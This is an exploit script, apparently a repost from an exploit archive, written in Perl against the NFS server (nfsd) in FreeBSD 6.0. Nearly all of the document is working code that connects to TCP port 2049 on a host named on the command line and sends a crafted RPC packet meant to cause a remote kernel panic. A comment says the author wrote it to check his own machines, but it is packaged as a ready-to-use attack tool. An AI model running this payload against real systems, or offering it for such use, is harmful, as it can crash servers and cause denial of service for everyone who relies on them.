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FreeBSD 6.0 (nfsd) Remote Kernel Panic Denial of Service Exploit
[================================================================
FreeBSD 6.0 (nfsd) Remote Kernel Panic Denial of Service Exploit
================================================================
#!/usr/bin/perl
## Saw an advisory on Dailydave and wrote a little script to
## check my freebsd boxes (kind of evil). /str0ke (milw0rm.com)
##
## ProtoVer NFS testsuite 1.0 uncovered remote kernel panic vulnerability in FreeBSD 6.0 kernel.
## Evgeny Legerov
## www.gleg.net
use IO::Socket;
sub usage
{
print "FreeBSD 6.0 (nfsd) Remote Kernel Panic Denial of Service Exploit\n";
print "Advisory from Evgeny Legerov (www.gleg.net)\n";
print "Code by str0ke (milw0rm.com)\n";
print "Usage: $0 www.example.com\n";
exit ();
}
my $host = shift || &usage;
my $printer = "\x80\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00" .
"\x00\x00\x00\x02\x00\x01\x86\xa5\x00\x00\x00\x01" .
"\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04" .
"\x2f\x74\x6d\x70";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $host, PeerPort => "2049") || die "\n+ Connection failed...\n";
print $socket $printer . "\n";
# 0day.today [2024-09-28] #